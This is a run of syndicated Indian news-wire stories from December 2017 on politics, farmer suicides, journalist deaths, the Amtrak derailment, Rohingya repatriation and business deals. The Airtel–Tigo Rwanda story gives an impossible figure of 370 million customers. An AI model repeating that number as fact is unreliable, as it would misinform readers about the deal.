Sixty onefarmers have committed suicide in Chhattisgarh between April and November this year, thestate government informed the Legislative Assembly today.

State Revenue Minister Premprakash Pandey gave this information in a written reply to a question asked by Leader of Opposition T S Singhdeo.

"Sixty one farmers have committed suicide across Chhattisgarh between April 1 and November 30, 2017," the minister said.

As per the reply, 14 farmers have committed suicide in Balodabazar district during the period, followed by Kabeerdham (13), Bemetara (9), Rajnandgaon (9) and Durg (4).

Similarly, three suicides were reported in Dhamtari district, two each in Raipur, Balod, Kanker and Mahasamund while one in Janjgir-Champa, the reply said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Sixty-five journalists and media workers were killed worldwide in 2017, according to annual figures published by Reporters Without Borders (RSF) today.

Among them were 50 professional reporters, the lowest toll in 14 years. However, the downward trend is due at least in part to journalists giving up working in the world's deadliest spots.

War-torn Syria remains the most dangerous country in the world for journalists, RSF said, with 12 reporters killed, followed by Mexico where 11 were assassinated.

They included Javier Valdez, one of the most prominent chroniclers of Mexico's deadly drug war, whose murder in May sparked a public outcry.

The 50-year-old AFP contributor was shot dead in broad daylight in the street in the violent northwestern state of Sinaloa.

His last book, "Narco-journalism", recounted the tribulations of Mexican reporters who try to cover the country's extremely violent "narcos" drug cartels.

RSF said Mexico was the deadliest country not at war, saying those who "cover political corruption or organised crime are often systemically targeted, threatened and gunned down."



The Philippines has become Asia's most dangerous country for reporters, with at least five journalists being shot in the last year, four of whom died of their injuries.

The rise comes after what RSF called an "alarming comment" by President Rodrigo Duterte who said in May that "just because you're a journalist you are not exempted from assassination if you're a son of a bitch."



No journalists were killed in the country the previous year.

The overall number of professional reporters slain worldwide, however, fell to its lowest number in 14 years, RSF said.

Of the 65 killed, the report said 39 were murdered, while the rest died in the line of duty -- collateral victims of deadly circumstances likes air strikes or suicide bombings.

The group said that the drop in the death rate may be because journalists were now being better trained and protected for war zones.

"The downward trend is also due to journalists abandoning countries that have become too dangerous," it added.

"Countries such as Syria, Iraq, Yemen, and Libya have been haemorrhaging journalists." But the trend is not confined to countries at war, RSF added.

"Many journalists have either fled abroad or abandoned journalism in Mexico, where the criminal cartels and local politicians have imposed a reign of terror," it said.

Turkey is the world's biggest prison for professional journalists, the figures show, with 42 reporters and one media worker behind bars.

"Criticising the government, working for a 'suspect' media outlet, contacting a sensitive source or even just using an encrypted messaging service all constitute grounds for jailing journalists on terrorism charges," the report said.

With 52 languishing in jail, China, however, continues to lead the table when bloggers are taken into account.

RSF accused Beijing of toughening its "arsenal of measures for persecuting journalists and bloggers.

"The government no longer sentences its opponents to death but instead deliberately lets their health deteriorate in prison until they die," it added, referring to the deaths of Nobel laureate Liu Xiaobo and dissident blogger Yang Tongyan, who both died of cancer this year after being diagnosed in prison.

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Aam Aadmi Party (AAP) today appointed its senior leader and Deputy Chief Minister of Delhi Manish Sisodia as in-charge of its Punjab unit.

The decision to appoint Sisodia as in-charge of its Punjab unit came at a time when the party faced drubbing in the recently held civic polls.

"After assessment of prevailing political situation in the state of Punjab, the Political Affairs Committee of Aam Aadmi Party on Tuesday has appointed senior party leader Manish Sisodia as Prabhari (in-charge) of Punjab," said a party release issued here today.

The Punjab unit of AAP has welcomed the appointment of Sisodia as the in-charge of the Aam Aadmi Party state unit. Also, in a press note issued here, party leaders thanked Delhi CM and party convener Arvind Kejriwal for the same.

AAP saw a severe drubbing in the recent Punjab municipal polls. The party won just a single ward in Bholath (assembly constituency of AAP MLA Sukhpal Khaira) in Kapurthala district out of the total 414 wards.

On the other hand, Congress swept the civic polls, winning 267 of 414 wards of municipal councils and Nagar Panchayats, along with the three municipal corporations of Amritsar, Jalandhar and Patiala.

AAP leader Sanjay Singh, in April this year, had resigned from the position of in-charge of its Punjab unit following the party's debacle in the Delhi MC polls.

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Senior Congress leader M Veerappa Moily today indicated that the controversial statements of Mani Shankar Aiyar and Kapil Sibal might have undone the gains made by party president Rahul Gandhi during campaigning in the Gujarat elections.

He claimed that Gandhi has emerged as an "alternative to (Prime Minister) Narendra Modi" for the 2019 general elections.

The former Union minister also accused Modi of trying to "emotionally blackmail" the Gujarat electorate and said political parties should not win elections on the basis of "jumlas".

"...our people like Mani Shankar Aiyar should not have raised those issues against him (PM)," Moily told PTI.

He was referring to Aiyar's "neech" remark.

The BJP yesterday returned to power in Gujarat for the sixth straight time, fighting off a strong challenge from the Congress.

Asked if Aiyar's comments had an adverse electoral impact for the Congress, Moily said, "May be. Narendra Modi utilised that statement to hit at the Congress and also our leader. We should be very careful."



He also termed as "unnecessary" Sibal's statement asking the Supreme Court to defer hearing in the Ram Janmabhoomi case till after the 2019 general elections.

"He (Sibal) should not have made such statements. He was not authorised to make such statements on behalf of the party," Moily said.

"It was not the party view, even then Narendra Modi utilised," the former chief minister of Karnataka said.

"Some of our leaders also should restrain themselves, particularly on the eve of the elections and during the elections. One should be very careful. Wisdom should prevail upon them, that means to say that our leaders should also have political sense to deal with the subject," he said.

"Sometimes whatever is done by Rahul Gandhi...our leadership, is undone by such statements," added Moily, who had held portfolios such as law and justice, corporate affairs and petroleum and natural gas during the UPA government.

He alleged that Modi raised issues to emotionally blackmail the electorate in Gujarat.

"...like 'supari' was given to kill him (Modi) when he (Aiyar) visited Pakistan. He (Modi) makes that statement after a lapse of one year. Credibility is the question. But certain percentage of votes must have been swayed because of this," Moily said.

"...then again, Pakistan is working against him (Modi) in Gujarat election. Such issues...the Election Commission should take serious note when there is absolutely no proof. It's absolutely again an election 'jumla', and an election jumla should not win an election for any political party; it's negation of democratic principles," Moily said.

"So, it was not on merit or 'vikas', or Gujarat model (that BJP won), but only because certain distortions which have taken place and emotional blackmail and utilising the false statement before the Gujarat electorate," he alleged.

Moily also said the Congress' performance in Gujarat, particularly under Gandhi's leadership was "par excellence".

"All those light talks, particularly on Rahul Gandhi, have stopped now. He is marching forward," Moily said and claimed that his party lost in 16 Assembly seats in the western state by barely around 200 votes.

"He (Rahul Gandhi) could also consolidate all social forces along with the Congress. It's a big success," Moily said.

"Rahul Gandhi has emerged as an alternative to Narendra Modi for the 2019 (general) elections," he added.
Bihar Deputy Chief Minister Sushil Kumar Modi today said all the villages of the state would be electrified by the end of this month.

"Now, there will be no problem of power connection in any village of the state as all the villages will be electrified by December 27," he said.

Modi added that by May 2018, electricity would reach 10,000 human habitations ("tola") and not a single of these habitations would remain without electricity.

The BJP leader was addressing a two-day national conference on "Agroforestry Systems For Water Stressed Areas", organised by the Forestry Research and Extension Centre, Patna and Institute of Forest Productivity, Ranchi.

Modi, who also holds the finance and and forest portfolios, stated that the work on installing separate feeders for irrigation under the Centre's Deen Dayal Upadhyaya Gram Jyoti Yojana, at an estimated cost of Rs 6,000 crore, had begun.

"In the next two years, farmers will not require diesel (to run pumpsets for fetching water) for irrigation. Rather, they will opt for electricity-based irrigation," he said.

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A 63-year-old American citizen died of a cardiac arrest in Aurangabad, Maharashtra, police said today.

Cloudy Louis, who hailed from Washington DC, worked as a consultant for a multinational pharmaceutical company, said Deputy Commissioner of Police Rahul Shrirame.

He felt chest pain while having dinner with his colleagues at a hotel here on Monday night, and was shifted to a hospital where he was declared dead on arrival, said the police officer.

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A special CBI court here today ordered that cases be registered against three students of a private university in connection with the death of a first- year student, who drowned in a swimming pool on the campus.

Justin Xavier, a resident of Kerala, drowned in the Amity University's pool on September 3, 2009. He was taken to a hospital where he was declared brought dead.

The CBI had submitted two closure reports in the court earlier.

However, today, CBI Special Judge Chetna Singh taking cognisance of the matter ordered authorities to file cases against Jatin Kulkarni, Shashank and another student.

Though the post-mortem report had said that Justin had died of injuries, his father moved the Kerala Hight Court, appealing the case be investigated by the CBI.

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An Amtrak train making the first-ever run along a faster new route hurtled off an overpass south of Seattle and spilled some of its cars onto the highway below, killing at least three people, injuring dozens and crushing two vehicles, authorities said.

Attention quickly turned to the train's speed. A website that maps location and speed using data from Amtrak's train tracker app showed the train was going 81.1 mph (129 kph) about a quarter of a mile from the point where it derailed, where the speed limit is significantly lower.

There were 80 passengers and five on duty crew when the train derailed and pulled 13 cars off the tracks. Authorities said there were three confirmed deaths. More than 70 people were taken for medical care including 10 with serious injuries.

About two hours after the accident, a US official who was briefed on the investigation said he was told at least six people were killed. The official said he had no new information to explain the discrepancy in the numbers.

The official was not authorized to discuss the investigation publicly and spoke to The Associated Press on condition of anonymity.

A track chart prepared by the Washington State Department of Transportation shows the maximum speed drops from 79 mph (127 kph) to 30 mph (48 kph) for passenger trains just before the tracks curve to cross Interstate 5, which is where the train went off the tracks.

The chart, dated Feb. 7, 2017, was submitted to the Federal Railroad Administration in anticipation of the start of passenger service along a new bypass route that shaves 10 minutes off the trip between Seattle and Portland.

It was not clear how fast the train was moving at the precise moment when it derailed. National Transportation Safety Board investigators were at the scene trying to determine the derailment's cause.

Kimberly Reason with Sound Transit, the Seattle-area transit agency that owns the tracks, confirmed to the AP that the speed limit at the point where the train derailed is 30 mph (48 kph). Speed signs are posted two miles before the speed zone and just before the speed zone approaching the curve, she said.

Positive train control the technology that can slow or stop a speeding train wasn't in use on this stretch of track, according to Amtrak President Richard Anderson.

He spoke on a conference call with reporters, said he was "deeply saddened by all that has happened today."



Bob Chipkevich, a former NTSB director of railroad, pipeline and hazardous materials investigations, told The Seattle Times the crash looked like a high-speed derailment based on television images.

In a radio transmission immediately after the accident, the conductor can be heard saying the train was coming around a corner and was crossing a bridge that passed over Interstate 5 when it derailed. Dispatch audio also indicated that the engineer survived with bleeding from the head and both eyes swollen shut.

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Around 40,000 Rohingya migrants were illegally living in India and none of them had been deported so far, Union minister Kiren Rijiju informed Parliament today.

In a written reply to a question, the Union minister of state for home affairs informed the Lok Sabha that the entry of illegal migrants was clandestine and surreptitious and thus, an accurate figure of how many of them were currently living in the country was not available.

As per an estimate, the number of Rohingya migrants could be around 40,000, he said, adding that none of them had been deported so far.

Rijiju said though India was not a signatory to the 1951 United Nations Convention on the Status of Refugees and the 1967 Protocol thereon, the country's track record in dealing with or providing protection to refugees had internationally been acclaimed.

He added that there was no legislation to deal with refugees and asylum-seekers in India.

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Bangladesh and Myanmar today formed a 30-member joint panel to oversee repatriation of Rohingya refugees within two months, despite rights groups warning that their safety is not assured in the Buddhist majority country.

"Now, we will start the next step of our work," Bangladesh Foreign Minister A H Mahmood Ali told reporters.

In a statement, Bangladesh foreign office said that the working group will develop physical arrangements for the refugees' return, including mechanisms for verification, time schedule, transport and logistical arrangements, reception procedures and communication.

It said the working group would "ensure commencement of repatriation within two months".

The joint working group "shall involve assistance of the UNHCR and other mandated UN agencies and interested international partners in various stages of repatriation".

It would comprise equal number of representatives from each side to undertake "all necessary measures to start the safe and voluntary return, resettlement and reintegration process of displaced Myanmar residents".

The joint panel was formed in line with the November 23 memorandum of understanding signed by Myanmar with Bangladesh to take back hundreds of thousands of Rohingyas who fled their homeland to escape a military crackdown.

The development came a day after UN human rights body chief Zeid Ra'ad al-Hussein said he would not be surprised if a court one day ruled that acts of genocide had been committed against the Rohingya Muslim minority.

"The elements suggest you cannot rule out the possibility that acts of genocide have been committed," Zeid told BBC, describing the attacks on Rohingyas to be "well thought out and planned".

Meanwhile, US-based Human Rights Watch today termed the November 23 agreement as a mere "public relations stunt", saying Maynmar Army burned dozens of buildings within days of signing the repatriation deal with Bangladesh.

The rights group, citing analysis of satellite imagery, said buildings in 40 villages were destroyed in October and November, increasing the total to 354 villages that had been partially or completely razed since last August.

Over 655,000 Rohingyas fled across the border to Bangladesh since the crackdown began on August 25, bringing horrific accounts of rape, extrajudicial killing and arson.

"Myanmar is playing the most cynical of games, with Aung San Suu Kyi and her team signing a refugee repatriation deal that contains no real guarantees of protection to returnees, while on the ground the security forces continue their campaign of torching the villages the Rohingya want to return to," the HRW statement said.

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Former Infosys CFO V Balakrishnan today urged the Centre to get persons like the company's Nandan Nilekani or IT czars N R Narayana Murthy or Azim Premji for the reportedly proposed post of Chief Information Officer under the PMO.

"I think the government should get leaders from the tech industry to be the CIO. This will bring credibility to the process. People like Nandan had earlier worked in government andbrought the needed change. They should also get somebody ofthat stature and calibre to be the CIO," Balakrishnan said.

"People like Narayana Murthy and Premji could also be considered," he told PTI.

Balakrishnan said this in response to a query on who could be the most suitable candidate in the backdrop of reports that the centre is mulling to create the post of CIO, to help integrate IT strategies and policies related to various government departments.

Nilekani is presently Infosys Non-Executive Chairman, who in his earlier role as head of Unique Identification Authority of India, is considered the architect of Aadhaar.

However, to make the post of CIO effective, Balakrishnan said it isnecessary to provide political cover and independence to the same.

The post of CIO will ensure govermment gets better returns in its technology investments, he said.

"With increased focus on digital and data security there needs to be a cohesive effort from all government arms in adopting and executing technology solutions for governance," Balakrishnan said.

Former Infosys CFO and investor T V Mohandas Pai also pitched for the CIO's post.

"I totally agree (that India should have a CIO under Prime Minister's Office). The government needs this to create a techvision for itself," Pai said.

This will help integrate IT strategies and policies related to various departments, he said.

India also needs a Chief Data Scientist to enable use of big data, he added.

In the light of a large part of financial transactions and technology back-end in India likely to be inter-linked withAadhaar number, the role of CIO becomes all the more important, he added.

The government plans to interlink financial transactions and technology back-end with Aadhaar number by next financial year.

According to some media reports, the role of CIO will be reportedly similar to that of a White House CIO, who is also responsible for designing an inter-operable IT infrastructure of the administration.

The White House CIO is also reportedly responsible for managing the IT spending of the federal government.

IT experts feel CIO could push for open source procurement of software which could lead to more efficient spending of taxpayers' money on IT expenditure by the centre.
The West Bengal government is planning to introduce the blockchain technology to protect its documents from cyber attacks.

The state government's proposed Cyber Security Centre of Excellence would be entrusted to execute the new 'blockchain' mechanism at various departments, a senior official of the Information Technology Department told PTI.

Blockchain is an online ledger of digitally recorded transactions which is encrypted in the form of blocks, each of which is connected by a network of computers.

"These days, we are storing files and records online. We have thousands of documents in the cloud, too. And in the coming days, our dependence on the Internet will increase and threats from cyber criminals will aggravate. So we have to be very cautious and apply safeguards," the official said.

"The cyber security centre will bring the best in academic, law enforcement and other sections under one roof for the best practices to counter cyber crimes," he said.

The centre will also conduct research and development on cyber crimes for which the state government will partner with private firms.

The official said the Mamata Banerjee-led government is also planning to raise the awareness level about threats of cyber crimes and precautions that need to be exercised.

Officers of Kolkata Police had recently participated in a cyber security workshop conducted by the IT department at the Centre.

Earlier this year, computers at some offices of the West Bengal State Electricity Distribution Company Limited were crippled by 'WannaCry' virus, a global ransomware.

Ransomware is a type of malicious software designed to block access to a computer system until a sum of money is paid.

"We do not want such things to be repeated. We are trying to build foolproof security against these threats," the official added.

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Telecom operator Bharti Airtel today said that it has signed an agreement with Millicom International Cellular S.A. to acquire 100 per cent stake in its Rwanda operation which operates under the brand name of Tigo Rwanda.

"Bharti Airtel Limited...has entered into a definitive agreement with Millicom International Cellular S.A. (Millicom) under which Airtel Rwanda Limited will acquire 100 per cent equity interest in Tigo Rwanda Limited," Bharti Airtel said in a statement.

Under this deal, Tigo's 370 million customers will join the network of Airtel Rwanda. The acquisition will make Airtel Rwanda the second largest operator in the country with revenues of over USD 80 million and a revenue market share of over 40 per cent, the statement said.

"The consideration for the transaction is based on approximately 6x EBITDA multiple, payable over two years. The agreement is subject to regulatory and statutory approvals," the statement said.

Airtel at present operates in 15 African countries apart from India and South Asia.

"Airtel and Tigo have already merged their operations to create a strong viable entity in Ghana. Today, it has taken yet another important step to acquire Tigo Rwanda to become a profitable and a strong challenger in a two-player market," Bharti Airtel Chairman, Sunil Bharti Mittal said.

In the past, Airtel acquired assets in Uganda (Warid) and Congo B (Warid), Kenya (yu Mobile) and consolidated operations in Ghana (Millicom).

"We are also committed to the long term viability of our operations in two other countries i.e. Kenya and Tanzania, to ensure that in 2018 all our 15 operations in Africa start contributing positive margins and cash flows towards a healthy and profitable Airtel Africa," Mittal said.

Airtel is one of the largest telecom service providers across the continent in terms of geographical reach and had close to 83 million customers at the end of quarter ended September 30, 2017, the statement said.

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The world's biggest miner BHP said today it would leave the World Coal Association and review its membership of the US Chamber of Commerce to show support for action against climate change.

The Anglo-Australian giant has been reviewing its industry group memberships to see if their stances align with its view that climate change must be tackled through emissions reductions and the use of renewable energy.

A 22-page report released Tuesday found that the organisations as well as the Minerals Council of Australia held different positions from BHP, which derived just under 20 percent of its total revenue from coal in the year ended June 2017.

BHP's chief external affairs officer Geoff Healy said the report demonstrated the firm's support for action on climate change and commitment to transparency.

"While we won't always agree with our industry associations, we will continue to call out material differences where they exist and we will take action where necessary, as we have done today," he said in a statement.

The miner said it was making a preliminary decision to part ways with the World Coal Association (WCA), which would be reviewed by next March.

The global lobby group had favoured the dumping of a clean energy target, which supports investment in renewables in Australia, since it preferred the use of cleaner coal technologies instead.

In contrast, BHP said its policy was to tackle climate change through encouraging the use of all technologies, rather than artificially favouring one -- such as cleaner coal -- over renewable energy.

BHP said it also disagreed with the US Chamber of Commerce's rejection of the Paris Agreement and a carbon- pricing policy, and would decide by March whether to leave the organisation.

"Emissions reductions are necessary to mitigate climate change," the report said, outlining BHP's stance in support of the Paris pact on cutting emissions.

"An effective global framework to reduce emissions should use a portfolio of complementary measures, including a price signal on carbon."



The Paris deal was sealed under US President Barack Obama, but his successor and climate sceptic Donald Trump pulled out of it in June.

The miner said its membership of the Minerals Council of Australia remnains beneficial. But it threatened to quit the council unless it stopped lobbying for coal.

Brynn O'Brien, executive director of the Australasian Centre for Corporate Responsibility, said BHP's decision to cut ties with the WCA "is a seismic shift in the world of anti-climate lobbying".

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Farmers have for the first time been brought to the forefront of Uttar Pradesh's political agenda, which was dominated by caste and religion based politics, by the present BJP government, Chief Minister Yogi Adityanath said today.

"Rising above caste and religion based politics, for the first time any government has included farmers in its political agenda," he said in the UP Assembly during a debate on the supplementary budget tabled yesterday.

Attacking the previous SP and BSP regimes on charges of corruption, neglect of common people and law and order issues, the chief minister cited the programmes of his government like farm loan waiver, paddy procurement, clearing sugarcane dues, efforts to double the income of farmers, power supply to rural areas and programmes to end open defecation to press his point home.

"As per the resolve of Prime Minister Narendra Modi, all poor families will be provided houses by 2022," he said.

Referring to the 'Kumbha' in 2019, the chief minister said it had been recognised by UNESCO and congratulated the prime minister for his efforts.

Presenting an outline of development of pilgrim centres like Kashi and Mathura, he cited hosting of a 'Ramleela' event in Ayodhya and talked about the steps being taken for development of Kapilvastu, Kushinagar and Shravasti (all Buddhist tourist places).

He also cited the work for extending health services including meeting the shortage of doctors, improving standard of education as well as providing free uniforms, sweaters and shoes, air connectivity between big cities and steps to protect bovines.

Leader of the Opposition Ram Govind Chaudhary charged the present government with taking credit for the work done by previous Akhilesh Yadav government.

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British counter-terror officers today arrested four persons on suspicion of plotting terror attacks in the UK, officials said.

Three of them, aged 22, 36 and 41, were arrested from Sheffield and the fourth man, aged 31, from Chesterfield by counter-terrorism officers in an operation led by the North East counter-terrorism unit.

"The arrests were intelligence-led and pre-planned as part of an ongoing investigation by Counter Terrorism Policing North East," a West Yorkshire Police spokesperson said.

"We recognise that local people may have concerns as a result of this activity. We would ask people to remain alert but not alarmed and we are grateful for the assistance and understanding of people locally," he said.

All four men have been detained on suspicion of being concerned in the commission, preparation or instigation of acts of terrorism under the UK's Terrorism Act 2000.

The men were being questioned at a police station in West Yorkshire while property searches where they were arrested continue.

People reported the sound of an explosion as police raided an address in Meersbrook, Sheffield.

"The public may have heard a loud bang at the time as police entered one of the properties, but it was not an explosion. They (officers) would like to reassure them that it was part of the method to gain entry to the property," the police spokesperson added.

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A large cache of arms and ammunition was seized in Gamir-Mughla area of Jammu and Kashmir's Rajouri in a joint operation by the Army and the police, an Army official said.

Weapons, including an AK-47 rifle and a Rocket propelled Grenade (RPG), were seized last evening during the operation which was launched following an input, the officer said.

Two pistols and a sizeable quantity of AK and Pika ammunition were also seized, he said.

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Cambridge Assessment English, a department of the University of Cambridge, has inked a partnership with TCS iON, a strategic unit of IT major Tata Consultancy Services here today.

As per the partnership, Cambridge Assessment English will leverage TCS iON's Digital Assessment Platform's "high stake assessment capability to conduct examinations across the country," a press release said.

Tata Consultancy Services would administer Cambridge's computer-based Business English certificates throughout India, it said.

"The Cambridge Business English Certificates are well established in India, and are popular with both employers and universities," Cambridge Assessment English, CEO, Saul Nasse said after signing the agreement with TCS iON, Global Head, V Ramaswamy.

"By teaming up with TCS, we can benefit from their excellent infrastructure and customer service to make it much easier for people all across India..", he said.

"TCS iON is delighted to partner with Cambridge Assessment English. We will bring the platform capabilities along with the reach and presence to the Cambridge English," TCS iON, Global Head, V Ramaswamy said.

"We are extremely happy to work with Cambridge University to ensure that the technology we deploy is beneficial to the learners and professionals here," he said.

By teaming up with TCS iON, Cambridge Assessment English will make it convenient for learners from every State in India to take an internationally recognised Cambridge English; Business Certificate examination, the release added.

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India's bulk drug imports from top five countries stood at Rs 18,372.54 crore in 2016-17 with China accounting for 66 per cent, Parliament was informed today.

In a written reply in Lok Sabha, Minister of State, Chemicals and Fertilisers Mansukh L Mandaviya said the other four major countries from where India imports bulk drugs are Germany, the US, Italy and Singapore.

India's import of active pharmaceutical ingredients (API) from China stood at Rs 12,254.97 crore in 2016-17, while that from the US was at Rs 820.18 crore.

API import from Italy was at Rs 701.85 crore during the year under review, while the same from Germany and Singapore was at Rs 485.11 crore and Rs 422.01 crore respectively.

"It may be mentioned that most of the imports of bulk drugs/API (are) being done in the country because of economic considerations," Mandaviya said.

As India is a signatory to the WTO and TRIPs agreement, import restrictions have been removed, he added.

In 2015-16, India's total bulk drug imports from the top five countries were at Rs 21,225.97 crore and it was Rs 19,833.19 crore in 2014-15, the minister added.

Replying to another query, Mandaviya said the Department of Pharmaceuticals has asked medical device associations, healthcare industry bodies and relevant regulatory agencies to help in categorising medical devices.

The purpose is to categorise medical devices so as to have different trade margins for various categories for different segments, considering the vast diversity and the logistics required in delivering them to patients, he said.

"Industry has proposed that the total trade margins for medical devices could be capped to make quality medical devices affordable. Discussions on the issue with industry resulted in the need for categorisation," Mandaviya said, adding there has been no consensus on the issue.

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China today said it is confident in ensuring the success of the USD 50 billion CPEC, a day after Pakistan's security czar alleged that the US along with India is conspiring against the ambitious economic corridor.

The China-Pakistan Economic Corridor (CPEC), a flagship project of China's prestigious One Belt One Road, passes through Pakistan-occupied Kashmir. The CPEC links China's restive Xinjiang region with Pakistan's Balochistan province.

Foreign Ministry spokesperson Hua Chunying told reporters today that China hopes more countries to join the project.

"I want to reiterate that CPEC is a new type of framework for the long term cooperation in various areas between China and Pakistan," she said when asked about Pakistan's claims.

The project is not only of positive significance for the development of the two countries but also conducive to the development of whole region, Hua said.

"We hope CPEC can receive more support and recognition of more countries and we are confident in ensuring the success of the building of CPEC with various parties including Pakistan," she added.

Pakistan's National Security Advisor Lt Gen (retd.) Nasser Khan Janjua yesterday accused the US of conspiring against the multi-billion economic corridor with India.

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Scientists in China have developed an artificial sponge that can separate oil and water and can be used for treating water contaminated by industrial sewage, a media report said today.

The porous material is made with nano-crystalline cellulose and graphene composite and has high absorption capacity.

"It is 97 per cent effective in separating water and oil," Liu Dongyan, a researcher with the Institute of Metal Research under the Chinese Academy of Sciences, was quoted as saying by the state-run Xinhua agency.

A paper on the research undertaken by the institute based in Shenyang, capital of north China's Liaoning Province, was published in the latest issue of the international journal Advanced Materials Interfaces.

Liu said that industrial sewage contains various oils and organic components that becomes ecologically hazardous once mixed with water.

The new material provides a low-cost industrial sewage treatment solution, she added.

Liu said that the base material of the polyurethane sponge is cost-effective.

Only the small amount of graphene, in the coating, is expensive. However, with the increase in production of graphene in China, the price would gradually come down she added.

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Clashes broke out between two communities here over erection of a pandal dedicated to Lord Ayyappa, triggering stray incidents of violence that left two police officials injured, a senior police officer said today.

The trouble broke out last night when a section of people from a community objected to the pandal erected by Ayyappa devotees, Deputy Commissioner of Police (Crime) Amaraanth Reddy said.

Miscreants hurled stones and set fire to a car, two auto-rickshaws and a couple of two-wheelers, he said.

Assistant Commissioner of Police Shankar Marihal and a police inspector were injured in stone pelting. Thye have been hospitalised.

Marihal, who suffered head injuries is recovering, the DCP said.

Twenty-seven persons have been taken into custody, he said, adding, some more are expected to be arrested.

The situation in the area is now under control, the officer said.

Inspector General of PoliceK Ramchandra Rao held a peace meeting with leaders of both communities.

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Climbing highest mountains in the world such as Mount Everest can actually cause psychosis, according to a study.

A team from Eurac Research in Italy and the Medical University of Innsbruck in Austria carried out an investigation into psychotic episodes at extreme altitudes and subjected these to systematic scientific analysis.

They discovered a new medical entity which they named the isolated high-altitude psychosis.

In the study published in the journal Psychological Medicine, researchers collected around 80 psychotic episodes taken from German mountain literature.

Up to now, doctors had attributed such syndromes, along with other acoustic, optical and olfactory hallucinations, to organic causes.

They frequently occur, along with symptoms such as severe headaches, dizziness and impaired balance, as side effects of a high-altitude cerebral oedema.

"The highest mountains in the world are maddeningly beautiful. It is just that we had no idea that they could actually drive us to madness as well," said Hermann Brugger, Head of the Institute of Mountain Emergency Medicine at Eurac Research.

Researchers cited the example of mountaineer Jeremy Windsor who experienced something very strange while climbing Mount Everest in 2008.

"Alone at an altitude of 27,000 feet, he encountered another man, named Jimmy, who offered words of encouragement and trekked alongside him before disappearing without a trace into the snow and ice," researchers said.

"In our study we found that there was a group of symptoms which are purely psychotic. Although they are indeed linked to altitude, they cannot be ascribed to a high-altitude cerebral oedema, nor to other organic factors such as fluid loss, infections or organic diseases," said Brugger.

The isolated high-altitude psychosis is most likely to occur at heights exceeding 7,000 metres above sea-level.

Researchers have only been able to speculate on the causes: it is possible that factors such as oxygen deficiency, the situation of being totally dependent on oneself and the early stages of swellings in certain areas of the brain could all be triggers for the psychosis.

The symptoms disappear completely as soon as the mountaineer leaves the danger zone and comes down from the mountain and there does not appear to be any consequential damage, researchers said.

"This discovery has allowed us to make a more thorough investigation of temporary psychoses in otherwise completely healthy people, an investigation which might yield important indications for the understanding of psychiatric diseases such as schizophrenia," said Katharina Hufner from University of Innsbruck.

The results of the study are also relevant, because the syndrome increases the risk of accidents.

"It is of the utmost importance that extreme mountaineers are fully apprised of these temporary phenomena, said Brugger.

"There are probably unknown numbers of unreported accidents and deaths caused by psychoses. So as to reduce the number of such accidents, it is of the greatest importance to disseminate cognitive coping strategies which the mountaineers themselves, or with the help of their partners, can apply directly whilst on the mountain," Hufner said.

The researchers plan to collaborate with Nepalese doctors by undertaking further investigations in the Himalayas. They hope to find out how frequently this disease occurs.

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The Uttar Pradesh government today gave compulsory retirement to a suspended director of the state Forensic Science Laboratory for his "misleading" report which held that the suspicious substance recovered from the assembly on July 12 was highly explosive PETN.

"Former director of the state Forensic Science Laboratory (FSL) Shyam Bihari Upadhyay has been compulsorily retired today after the competent authority approved the recommendation of the screening committee," Principal Secretary (Home) Arvind Kumar said.

Scientific officer FSL Raghavendra Yadav has also been given compulsory retirement.

The UP government had suspended Upadhyay on September 4 for allegedly giving a "wrong, misleading, incomplete and unconfirmed" report about the substance recovered in the state Assembly, the principal secretary said.

"Upadhyay got the substance examined and in his report it was said to be PETN positive. When the NIA got it tested from CFSL, Hyderabad, it was found to be Silicon Oxide (Quartz) and not the dangerous explosive," Kumar had said.

Kumar had said that Upadhyay was suspended for allegedly getting the substance tested using an explosive detection kit whose usage date had expired in March 2016 itself.

Another charge against him was that substance was tested by a person who was not an expert in the field.

There were also complaints against Upadhyay pertaining to irregularities during his tenure as the acting director of a laboratory in Patna from February 28, 2008, to August 20, 2012.

It was on the basis of this report that Chief Minister Yogi Adityanath had told the House that the powdery substance recovered had been found to be explosive PETN and a NIA probe was ordered.

An FIR was lodged under various sections of the Unlawful Activities Prevention Act and the Indian Penal Code (IPC) at the Hazratganj police station.

The "white powder" was found wrapped in a paper close to the seat of Leader of the Opposition Ram Govind Choudhary by the cleaning staff on July 12 morning hours before the House met for the day.

The powder weighing 150 grams was sent for FSL examination, which suggested that it was plastic explosive PETN (Pentaerythritol tetranitrate), the chief minister had said.

PETN is a dangerous plastic explosives and has been used in terror attacks as the colourless crystals can surpass security checks.

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Sharad Pawar-led NCP today said the 'acceptance' of Congress party will increase in states where it is directly pitted against BJP, after its good performance in the Gujarat elections.

"In states like Rajasthan and Madhya Pradesh, where there is a straight fight between BJP and Congress, the latter will benefit," Maharashtra NCP spokesperson Nawab Malik told PTI here.

"Where there are straight fights, Congress will benefit. Their acceptance will increase," Malik, a former state minister, said.

"But in states where there are small (opposition) parties, Congress will have to take them along. What can Congress do on its own in states like Tamil Nadu, Uttar Pradesh and West Bengal," he said.

"Congress can't fight BJP alone. They will have to take other parties along if they have to defeat BJP and (Prime Minister) Narendra Modi," Malik said.

"For Congress, there is no option but to cobble up an alliance of opposition parties. They should take the lead in this. Congress being the big party should do this. Our (NCP) desire is that the opposition should be united to take on the BJP," Malik said.

The NCP leader said it was likely that the Lok Sabha elections will take place next year, instead of in 2019, along with polls in some states.

In the 182-member Gujarat Assembly, while BJP retained power by bagging 99 seats, Congress improved its tally winning 77 seats.

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The opposition Congress today staged a walkout from the Chhattisgarh Assembly alleging poor law and order situation in the state.

Raising the issue through a call attention motion notice, the Leader of Opposition T S Singhdeo, state Congress president Bhupesh Baghel and senior party MLA Satyanarayan Sharma said the law and order situation has deteriorated in the state, where incidents of theft, dacoity, loot and murder are frequently reported.

To support their point, they listed a few incidents that had taken place in the state recently.

They said, on November 24, unidentified burglars had stolen cash to the tune of lakhs of rupees and jewelleries from a State Bank of India (SBI) branch in Mandhar area in Raipur.

Two days later, some masked robbers had looted Rs 63 lakh cash from the office of a private company that is into the business of protecting, vaulting and storing valuable assets in Janjgir-Champa district.

Similarly, a gang of robbers also looted Rs 5.64 lakh in Arang area, they said.

"Offenders are still at large after committing the crimes," they added.

As per the official statistics, 1,160 cases of murder, 442 cases of loot, 7,429 theft cases, 83 cases of dacoity and 2,210 cases of rape were registered between April 1, 2016 and June 30, 2017 in the state, the opposition members said.

In his reply, Home Minister Ramsewak Paikra said that two persons have been arrested in connection with Mandhar bank dacoity case and cash worth Rs 17 lakh and 359 gram gold were recovered from them.

